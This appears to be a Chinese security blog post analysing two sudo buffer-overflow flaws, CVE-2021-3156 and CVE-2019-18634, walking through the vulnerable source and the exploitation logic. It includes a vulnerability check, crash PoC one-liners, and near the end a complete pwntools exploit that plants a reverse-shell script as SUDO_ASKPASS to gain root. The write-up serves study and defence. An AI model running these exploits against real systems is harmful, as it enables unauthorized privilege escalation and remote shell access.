sudo是一个大多数Linux或者Unix操作系统中都存在的系统管理指令,是一个允许系统管理员让普通用户执行一些或者全部的root命令的工具.
此次以CVE-2021-3156和CVE-2019-18634两个Sudo指令的缓冲区溢出漏洞进行分析
CVE-2021-3156
影响范围
Sudo 1.8.2 - 1.8.31p2
Sudo 1.9.0 - 1.9.5p1
如何检测自己系统是否存在此漏洞?
终端输入 命令 "sudoedit -s /"后执行
会出现以下两种情况
- 若出现"sudoedit:“开头的错误响应,则系统受到此漏洞影响.
- 若出现"usage:“开头的错误响应,则表示该漏洞已被补丁修复.
调试
此处选择了Sudo-1.8.31版本的Sudo程序来进行复现,最开始我是编译了一遍sudo源码来进行调试,结果编译出来的sudo程序和ubuntu系统自带的sudo有点不一样,所以最后我还是直接调试的ubuntu系统自带的sudo,只是没有源码断点不太方便
1
2
3
4
5
6
7
|
gdb ./sudoedit
......
pwndbg> set args -s '\' 112233445566 // 设置参数
pwndbg> run
...
pwndbg> b ./sudoers.c:847
pwndbg> run
|
漏洞位置位于plugins/sudoers/sudoers.c代码文件set_cmnd函数中
因为可能文件代码是动态加载的,所以当程序crash的时候,才可以下断点,然后重新运行,最后会断在断点位置
漏洞代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
......
/* set user_args */
if (NewArgc > 1) {
char *to, *from, **av;
size_t size, n;
/* Alloc and build up user_args. */
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
* for sudoers matching and logging purposes.
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
*--to = '\0';
}
......
|
若执行sudoedit的时候有传入命令行参数,NewArgc > 1,并进入上述这个分支
首先会遍历并计算出所有参数的总大小,利用malloc申请一段空间,之后则是将参数拷贝到刚才申请的空间中
漏洞点
1
2
3
4
5
6
7
8
|
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
|
因为程序错误的转义,将传入的''字符后方的\x00看作转义字符,而\x00也不是空白字符,所以绕过了isspace空白字符的检测
至此,第一个参数拷贝的时候会以'\' 112233445566作为第一个参数进行拷贝,然后再拷贝第二个参数,即112233445566,最后拷贝的字符超过了申请的空间的大小,形成了缓冲区溢出漏洞
利用
Qualys团队在博客中,给出了三个利用思路,这里我选择了第二种思路来复现,因为第二种方法已经在三个版本的Linux系统上成功实现了利用且github星星第一则是此方法的利用脚本呢,此方法主要运用了堆溢出覆盖字符串指针为可控字符串指针,从而在调用nss_load_libinary的时候进行的so注入,此时注入的so文件是可控的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
static int nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
......
|
此处传入了参数为一个结构体指针,结构体为
1
2
3
4
5
6
7
8
9
10
11
12
13
|
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
|
利用过程为修改ni->library为空指针,之后则会进入第一个分支,调用nss_new_service函数
下面我们来看看nss_new_service函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
static service_library * nss_new_service (name_database *database, const char *name)
{
service_library **currentp = &database->library;
while (*currentp != NULL)
{
if (strcmp ((*currentp)->name, name) == 0)
return *currentp;
currentp = &(*currentp)->next;
}
/* We have to add the new service. */
*currentp = (service_library *) malloc (sizeof (service_library));
if (*currentp == NULL)
return NULL;
(*currentp)->name = name;
(*currentp)->lib_handle = NULL;
(*currentp)->next = NULL;
return *currentp;
}
#endif
|
遍历database链表寻找ni->name对应的library指针,若没有发现对应的结构体,则是继续往下为当前name名称创建一个结构体,且lib_handle指针写0,因此返回之后即可通过if (ni->library->lib_handle == NULL)此判断,进入其分支
1
2
3
4
|
//1.8.31/src/sudo.c:154
setlocale(LC_ALL, "");
bindtextdomain(PACKAGE_NAME, LOCALEDIR);
textdomain(PACKAGE_NAME);
|
在setlocale()函数中可以调用malloc()以及free()函数,进行堆块的布局,通过控制"LC_ALL,从而让nss_load_library传入的结构体位于漏洞点溢出的堆块的下方不远处
思路总结
- 将
ni->library指针写0,进入第一个分支
- 控制住
ni->name字符串,之后通过拼接出的最终字符串作为so文件的路径,则可以调用__libc_dlopen初始化运行该so文件
- 如果
nss_load_library传入的service_user *ni指针对应的结构体位于漏洞点处申请的空间下方不远处,则可通过错误转义引起的堆溢出满足上述两个条件
CVE-2019-18634
CVE-2019-18634相对于CVE-2021-3156来说,限制更大一些,因为需要存在pwfeedback选项
1
2
3
4
5
6
|
wget https://www.sudo.ws/dist/sudo-1.8.25.tar.gz
tar -zxvf ./sudo-1.8.25.tar.gz
cd ./sudo-1.8.25
./configure --prefix=/tmp/build
make -j4
make install
|
开启 pwfeedback 选项
在/etc/sudoers规则中添加Defaults pwfeedback
开启后,在用户切换的输入密码时,会有视觉反馈,出现”*“符号
POC
POC1[<=1.8.25]
1
|
perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
|
POC2[1.8.26,1.8.30]
1
2
|
socat pty,link=/tmp/pty,waitslave exec:"python -c 'print((chr(0x61)*100+chr(0x15))*50)'" &
sudo -S id < /tmp/pty
|
POC1通过从管道获取数据交给sudo,-S表示从stdin读取数据
POC2通过socat创建了一个伪终端pty,sudo处理的数据从终端中获取,“waitslave exec"执行后续命令
调试
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
import sys,os
from pwn import *
TARGET=os.path.realpath("/tmp/build/bin/sudo")
'''
Create a pty terminal to transmit payload
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd)
'''
p = process([TARGET,"-S","id"])
pause()
payload = ("A"*100+"\x00")*50
#os.write(mfd, payload+"n")
pause()
p.send(payload+'\n')
p.interactive()
sys.exit(0)
|
在第一次pause的时候,打开另外一个终端进入GDB,利用attach pid指令调试进程,则会因为pause而断点在相应位置
分析漏洞代码
首先sudo输入的时候,调用的函数是getln
在终端执行POC1,程序在int getln tgetpass.c:345报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
extern int sudo_term_erase, sudo_term_kill;
static char *getln(int fd, char *buf, size_t bufsiz, int feedback)
{
size_t left = bufsiz;
ssize_t nr = -1;
char *cp = buf;
char c = '\0';
debug_decl(getln, SUDO_DEBUG_CONV)
if (left == 0) {
errno = EINVAL;
debug_return_str(NULL); /* sanity */
}
while (--left) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf)
{
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
else if (c == sudo_term_erase) {
if (cp > buf)
{
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
left++;
}
continue;
}
ignore_result(write(fd, "*", 1));
}
*cp++ = c;
}
......
}
|
如果sudo开启了pwfeedback,之后进行两个判断
sudo_term_kill: 删除所有字符,可输入字符数量left重新赋值为bufsiz
sudo_term_erase:删除单个字符,可输入字符数量left自增1
漏洞点
1
2
3
4
5
6
7
8
9
10
11
12
|
if (feedback) {
if (c == sudo_term_kill) {
while (cp > buf)
{
if (write(fd, "\b \b", 3) == -1)
break;
--cp;
}
left = bufsiz;
continue;
}
......
|
若从管道读取数据,因为管道是单向的,那么write(fd, "\b \b", 3) == -1总是成立,break跳出while循环,令变量left重新赋值为bufsiz
因为变量left重新赋值为bufsiz,所以while循环继续运行,故此处可以继续拷贝数据,而此处拷贝到的buf指针是一个BSS段上的变量
而在BSS段上,buf指针后存在askpass_6192、signo、tgetpass_flags、user_details_0等多个BSS上的变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
/*
* Like getpass(3) but with timeout and echo flags.
*/
char *tgetpass(const char *prompt, int timeout, int flags,struct sudo_conv_callback *callback)
{
struct sigaction sa, savealrm, saveint, savehup, savequit, saveterm;
struct sigaction savetstp, savettin, savettou;
char *pass;
static const char *askpass;
static char buf[SUDO_CONV_REPL_MAX + 1];
int i, input, output, save_errno, neednl = 0, need_restart;
debug_decl(tgetpass, SUDO_DEBUG_CONV)
(void) fflush(stdout);
if (askpass == NULL)
{
askpass = getenv_unhooked("SUDO_ASKPASS");
if (askpass == NULL || *askpass == '\0')
askpass = sudo_conf_askpass_path(); //get the askpass from the environment
}
/* If no tty present and we need to disable echo, try askpass. */
if (!ISSET(flags, TGP_STDIN|TGP_ECHO|TGP_ASKPASS|TGP_NOECHO_TRY) &&!tty_present())
{
if (askpass == NULL || getenv_unhooked("DISPLAY") == NULL) {
sudo_warnx(U_("no tty present and no askpass program specified"));
debug_return_str(NULL);
}
SET(flags, TGP_ASKPASS);
}
/* If using a helper program to get the password, run it instead. */
if (ISSET(flags, TGP_ASKPASS))
{
if (askpass == NULL || *askpass == '\0')
sudo_fatalx(U_("no askpass program specified, try setting SUDO_ASKPASS"));
debug_return_str_masked(sudo_askpass(askpass, prompt));
}
//.......
pass = getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));
//......
}
|
因为第一次tgetpass_flags没有开启TGP_ASKPASS,那么会通过后面的getln(input, buf, sizeof(buf), ISSET(flags, TGP_MASK));进行写入,此时开启了feedback选项,可以形成越界修改tgetpass_flags变量的值
又因为sudo会有三次输入的机会,如果令tgetpass_flags开启TGP_ASKPASS选项
其中tgetpass_flags的各标志位值位于sudo.h
1
2
3
4
5
6
|
#define TGP_NOECHO 0x00 /* turn echo off reading pw (default) */
#define TGP_ECHO 0x01 /* leave echo on when reading passwd */
#define TGP_STDIN 0x02 /* read from stdin, not /dev/tty */
#define TGP_ASKPASS 0x04 /* read from askpass helper program */
#define TGP_MASK 0x08 /* mask user input when reading */
#define TGP_NOECHO_TRY 0x10 /* turn off echo if possible */
|
继而第二次输入密码则调用sudo_askpass函数,继续查看sudo_askpass函数源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
/*
* Fork a child and exec sudo-askpass to get the password from the user.
*/
static char *sudo_askpass(const char *askpass, const char *prompt)
{
static char buf[SUDO_CONV_REPL_MAX + 1], *pass;
struct sigaction sa, savechld;
int pfd[2], status;
pid_t child;
debug_decl(sudo_askpass, SUDO_DEBUG_CONV)
/* Set SIGCHLD handler to default since we call waitpid() below. */
memset(&sa, 0, sizeof(sa));
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
sa.sa_handler = SIG_DFL;
(void) sigaction(SIGCHLD, &sa, &savechld);
if (pipe(pfd) == -1)
sudo_fatal(U_("unable to create pipe"));
child = sudo_debug_fork();
if (child == -1)
sudo_fatal(U_("unable to fork"));
if (child == 0) {
/* child, point stdout to output side of the pipe and exec askpass */
if (dup2(pfd[1], STDOUT_FILENO) == -1) {
sudo_warn("dup2");
_exit(255);
}
if (setuid(ROOT_UID) == -1)
sudo_warn("setuid(%d)", ROOT_UID);
if (setgid(user_details.gid)) {
sudo_warn(U_("unable to set gid to %u"), (unsigned int)user_details.gid);
_exit(255);
}
if (setuid(user_details.uid)) {
sudo_warn(U_("unable to set uid to %u"), (unsigned int)user_details.uid);
_exit(255);
}
closefrom(STDERR_FILENO + 1);
execl(askpass, askpass, prompt, (char *)NULL); //执行程序
......
}
|
最开始有child = sudo_debug_fork();此处程序fork了一个子线程,而子线程的权限来自于user_details即之前可以越界修改的user_details_0的数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
struct user_details {
pid_t pid;
pid_t ppid;
pid_t pgid;
pid_t tcpgid;
pid_t sid;
uid_t uid;
uid_t euid;
uid_t gid;
uid_t egid;
const char *username;
const char *cwd;
const char *tty;
const char *host;
const char *shell;
GETGROUPS_T *groups;
int ngroups;
int ts_cols;
int ts_lines;
};
|
user_details结构体包括了进程的UID以及PID,若将其置0,则子进程变为root权限,之后会以root权限execl(askpass, askpass, prompt, (char *)NULL);执行askpass指向的文件
知识点
- sudo输入具有三次输入的机会
- 如果开启了pwfeedback,程序会利用tgetpass函数中的getln函数进行输入,而getln函数在pwfeedback开启时存在BSS数据越界
- 在sudo_askpass函数中,会fork一个子线程,以子线程的权限运行一个askpass指向的程序
思路总结
- 第一次输入修改
tgetpass_flags |= TGP_ASKPASS,然后继续溢出修改user_details_0为root权限
- 第二次就会检测到存在
TGP_ASKPASS从而调用sudo_askpass函数,进而执行askpass指针指向的文件
- 最终通过反弹shell的方式拿到shell
Patch in 1.8.26
在1.8.26之后的getln中添加了对EOF的处理
1
2
3
4
|
if (c == sudo_term_eof) {
nr = 0;
break;
}
|
如此POC1不起作用了,但是若创建一个新的伪终端对,从伪终端获取输入流
在ASCII中,EOF与KILL对应的值分别为0x04与0x15,则稍微修改一个POC漏洞就可以再次利用
Exploit脚本
如果通过管道传输数据,sudo_term_kill初始化为\x00,将会导致溢出到user_details_0之前,signo不能置0,否则会抛出异常从而KILL进程
而通过终端传输数据,sudo_term_kill是为\x15的,则优选pty作为输入方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
# coding=utf-8
from pwn import*
import sys,os
TARGET=os.path.realpath("/tmp/build/bin/sudo")
def setFlags(flags):
tgetpassFlags = {
"TGP_NOECHO":0x00,
"TGP_ECHO":0x01,
"TGP_STDIN":0x02,
"TGP_ASKPASS":0x04,
"TGP_MASK":0x08,
"TGP_NOECHO_TRY":0x10
}
flags = flags.split("|")
retval = 0
for i in flags:
retval |= tgetpassFlags[i]
return retval
if __name__ == "__main__":
shell_path = "/tmp/root.sh"
with open(shell_path,"w") as file:
file.write(
'''#!/bin/bash
bash -c "bash -i >& /dev/tcp/127.0.0.1/3000 0>&1"
''')
os.chmod(shell_path,0o777)
mfd, sfd = os.openpty()
fd = os.open(os.ttyname(sfd), os.O_RDONLY)
p = process([TARGET,"-S", "id"],stdin=fd,env={"SUDO_ASKPASS":shell_path})
port = listen(3000)
payload = '\x00\x15'*0xFF #buf
payload += '\x00\x15'*0x20 #askpass_link
payload += '\x00\x15'*0x105 #signo
payload += p64(setFlags("TGP_STDIN|TGP_ASKPASS"))
payload += '\x15\x00'*0x14 #tgetpass_flags
payload += '\x15\x00'*0x30 #user_details
payload += '\n'
pause()
os.write(mfd,payload)
port.wait_for_connection()
pause()
port.interactive()
|
Reference
[CVE-2019-18634漏洞复现与分析]
[CVE-2019-18634 sudo 提权漏洞分析]
[CVE-2019-18634附件]
总结
Sudo上述两个漏洞都是缓冲区溢出,一个在BSS段上溢出,溢出修改user_details结构体,导致fork()的子进程为root权限,一个在堆上的溢出,通过控制环境变量,然后覆盖字符串指针从而实现so文件注入运行root权限的shell
◔ ‸◔